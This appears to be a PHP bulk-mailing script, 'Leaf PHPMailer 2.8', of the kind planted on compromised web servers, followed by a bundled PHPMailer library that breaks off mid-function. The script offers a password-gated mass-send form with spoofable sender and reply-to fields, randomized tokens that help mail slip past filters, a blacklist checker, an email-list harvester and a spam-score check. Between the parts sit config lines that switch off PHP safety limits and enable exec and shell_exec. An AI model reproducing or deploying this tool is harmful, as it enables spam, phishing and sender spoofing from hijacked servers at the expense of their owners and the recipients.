                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "2VWr3LgyiF1";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
